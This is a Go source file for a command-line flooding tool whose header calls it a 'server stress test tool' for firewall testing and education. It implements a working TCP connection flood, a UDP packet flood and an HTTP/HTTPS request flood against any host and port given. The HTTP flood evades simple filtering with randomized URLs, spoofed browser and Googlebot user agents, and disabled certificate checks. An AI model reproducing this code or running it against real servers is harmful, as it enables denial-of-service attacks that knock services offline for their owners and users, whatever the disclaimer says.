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stress.go
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stress.go
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/*
Coded By Leeon123
Date: 12/5/2019
|------------------------------------------------|
| This tool is a server stress test tool, |
| It is only use for testing server firewall |
| and education. |
|------------------------------------------------|
Updated: 6/8/2020
*/
package main
import (
"crypto/tls"
"fmt"
"math/rand"
"net"
"os"
"strconv"
"sync"
"time"
)
//Start of Random useragent
var (
str string = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM=&"
succ = 0
fail = 0
acceptall = []string{
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
"Accept-Encoding: gzip, deflate\r\n",
"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, /;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,/;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, ;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, ;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, /\r\nAccept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html, application/xhtml+xml, image/jxr, /\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, ;q=0.1\r\n",
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, /;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, ;q=0.1\r\n",
"Accept: text/html, application/xhtml+xml",
"Accept-Language: en-US,en;q=0.5\r\n",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, ;q=0.1\r\n",
"Accept: text/plain;q=0.8,image/png,/;q=0.5\r\nAccept-Charset: iso-8859-1\r\n"}
start = make(chan bool)
referers = []string{
"https://www.google.com/search?q=",
"https://check-host.net/",
"https://www.facebook.com/",
"https://www.youtube.com/",
"https://www.fbi.com/",
"https://www.bing.com/search?q=",
"https://r.search.yahoo.com/",
"https://www.cia.gov/index.html",
"https://www.police.gov.hk/",
"https://www.mjib.gov.tw/",
"https://www.president.gov.tw/",
"https://www.gov.hk",
"https://vk.com/profile.php?auto=",
"https://www.usatoday.com/search/results?q=",
"https://help.baidu.com/searchResult?keywords=",
"https://steamcommunity.com/market/search?q=",
"https://www.ted.com/search?q=",
"https://play.google.com/store/search?q=",
}
choice = []string{"Macintosh", "Windows", "X11"}
choice2 = []string{"68K", "PPC", "Intel Mac OS X"}
choice3 = []string{"Win3.11", "WinNT3.51", "WinNT4.0", "Windows NT 5.0", "Windows NT 5.1", "Windows NT 5.2", "Windows NT 6.0", "Windows NT 6.1", "Windows NT 6.2", "Win 9x 4.90", "WindowsCE", "Windows XP", "Windows 7", "Windows 8", "Windows NT 10.0; Win64; x64"}
choice4 = []string{"Linux i686", "Linux x86_64"}
choice5 = []string{"chrome", "spider", "ie"}
choice6 = []string{".NET CLR", "SV1", "Tablet PC", "Win64; IA64", "Win64; x64", "WOW64"}
spider = []string{
"AdsBot-Google ( http://www.google.com/adsbot.html)",
"Baiduspider ( http://www.baidu.com/search/spider.htm)",
"FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)",
"Googlebot/2.1 ( http://www.googlebot.com/bot.html)",
"Googlebot-Image/1.0",
"Googlebot-News",
"Googlebot-Video/1.0",
}
)
func useragent() string {
platform := choice[rand.Intn(len(choice))]
var os string
if platform == "Macintosh" {
os = choice2[rand.Intn(len(choice2)-1)]
} else if platform == "Windows" {
os = choice3[rand.Intn(len(choice3)-1)]
} else if platform == "X11" {
os = choice4[rand.Intn(len(choice4)-1)]
}
browser := choice5[rand.Intn(len(choice5)-1)]
if browser == "chrome" {
webkit := strconv.Itoa(rand.Intn(599-500) + 500)
uwu := strconv.Itoa(rand.Intn(99)) + ".0" + strconv.Itoa(rand.Intn(9999)) + "." + strconv.Itoa(rand.Intn(999))
return "Mozilla/5.0 (" + os + ") AppleWebKit/" + webkit + ".0 (KHTML, like Gecko) Chrome/" + uwu + " Safari/" + webkit
} else if browser == "ie" {
uwu := strconv.Itoa(rand.Intn(99)) + ".0"
engine := strconv.Itoa(rand.Intn(99)) + ".0"
option := rand.Intn(1)
var token string
if option == 1 {
token = choice6[rand.Intn(len(choice6)-1)] + "; "
} else {
token = ""
}
return "Mozilla/5.0 (compatible; MSIE " + uwu + "; " + os + "; " + token + "Trident/" + engine + ")"
}
return spider[rand.Intn(len(spider))]
}
func init() {
rand.Seed(time.Now().UnixNano())
}
func main() {
fmt.Println("|--------------------------------------|")
fmt.Println("| Golang : Server Stress Test Tool |")
fmt.Println("| C0d3d By Lee0n123 |")
fmt.Println("|--------------------------------------|")
if len(os.Args) != 7 {
fmt.Printf("Usage: %s host port mode connections seconds timeout(second)\r\n", os.Args[0])
fmt.Println("|--------------------------------------|")
fmt.Println("| Mode List |")
fmt.Println("| [1] TCP-Connection flood |")
fmt.Println("| [2] UDP-flood |")
fmt.Println("| [3] HTTP-flood(Auto SSL) |")
fmt.Println("|--------------------------------------|")
os.Exit(1)
}
count := 0
stop := 0 //stop
errn := 0
port, err := strconv.Atoi(os.Args[2])
if err != nil {
fmt.Println("port should be a integer")
return
}
connections, err := strconv.Atoi(os.Args[4])
if err != nil {
fmt.Println("connections should be a integer")
return
}
times, err := strconv.Atoi(os.Args[5])
if err != nil {
fmt.Println("seconds should be a integer")
return
}
timeout, err := strconv.Atoi(os.Args[6])
if err != nil {
fmt.Println("timeout should be a integer")
return
}
addr := os.Args[1]
addr += ":"
addr += os.Args[2]
var wg sync.WaitGroup
if os.Args[3] == "1" { //Tcp connection flood
payload := "\000"
for i := 0; i < connections; i++ {
wg.Add(1)
go func(wg *sync.WaitGroup) {
defer wg.Done()
s, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
if err != nil {
errn++
return
}
if s, ok := s.(*net.TCPConn); ok {
s.SetNoDelay(false)
}
err = s.(*net.TCPConn).SetKeepAlive(true)
if err != nil {
errn++
return
}
for {
if stop > 0 {
_, err := s.Write([]byte(payload)) //check if it still alive
if err != nil {
errn++
} else {
count++
}
break
} else {
time.Sleep(time.Millisecond * 100)
}
}
}(&wg)
}
time.Sleep(time.Second * time.Duration(times)) //timer
stop++
wg.Wait()
fmt.Println("Total connection:", connections)
fmt.Println("Connection Alive:", count+1)
fmt.Println("Connection Error:", errn, "times")
} else if os.Args[3] == "2" { //udpflood
bit := 0
ip, err := net.LookupIP(os.Args[1])
if err != nil {
fmt.Printf("Error occurred when resolve ip: %s \n", err)
return
}
for i := 0; i < connections; i++ {
wg.Add(1)
go func(wg *sync.WaitGroup, i int) {
defer wg.Done()
conn, err := net.ListenUDP("udp", &net.UDPAddr{IP: net.ParseIP("0.0.0.0"), Port: 1337 + i})
if err != nil {
fmt.Println("Error listening:", err)
}
defer conn.Close()
for {
buffer := make([]byte, 128)
rand.Read(buffer)
if stop > 0 {
break
}
for i := 0; i < 100; i++ {
conn.WriteToUDP(buffer, &net.UDPAddr{IP: ip[0], Port: port})
count++
bit += 1024
}
}
}(&wg, i)
}
time.Sleep(time.Second * time.Duration(times)) //timer
stop++
wg.Wait()
fmt.Println("Total Sent:", bit/1024/1024, "Mb")
fmt.Printf("Mbps: %.2f Mb/s\r\n", float64(bit)/1024/1024/float64(times))
fmt.Printf("PPS: %.2f packets/s\r\n", float64(count/times+0/5))
//fmt.Println("Connection Error:",error,"times")
} else if os.Args[3] == "3" { //http/s flood
for i := 0; i < connections; i++ {
wg.Add(1)
go func(wg *sync.WaitGroup) {
defer wg.Done()
for {
if stop > 0 {
break
}
s, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
if err != nil {
errn++
return
}
if os.Args[2] == "443" {
s = tls.Client(s, &tls.Config{
ServerName: addr, InsecureSkipVerify: true,
})
}
if s, ok := s.(*net.TCPConn); ok {
s.SetNoDelay(false)
}
defer s.Close()
payload := " HTTP/1.1\r\nHost: " + os.Args[1] + "\r\nConnection: Keep-Alive\r\nUser-Agent: " + useragent() + "\r\nAccept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n\r\n"
for t := 0; t < 140; t++ {
s.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
url := "GET /?" + strconv.Itoa(rand.Intn(10000)) + string(str[rand.Intn(len(str))]) + strconv.Itoa(rand.Intn(10000)) + string(str[rand.Intn(len(str))]) + strconv.Itoa(rand.Intn(10000)) + string(str[rand.Intn(len(str))]) + string(str[rand.Intn(len(str))]) + string(str[rand.Intn(len(str))]) //random url // big buffer
tmp := make([]byte, 256) // using small tmo buffer for demonstrating
s.Write([]byte(url + payload))
count++
_, err := s.Read(tmp)
if err != nil {
fail++
} else {
succ++
}
}
}
}(&wg)
}
time.Sleep(time.Second * time.Duration(times)) //timer
stop++
wg.Wait()
fmt.Println("Total Sent:", count, "requests")
fmt.Printf("RPS: %.2f requests/s\r\n", float64(count)/float64(times))
fmt.Printf("Successed Rate: %.2f%%\r\n", float64(succ)/float64(count)*100)
fmt.Printf("Dropped: %d\r\n", fail)
fmt.Println("Connection Error:", errn, "times")
}
}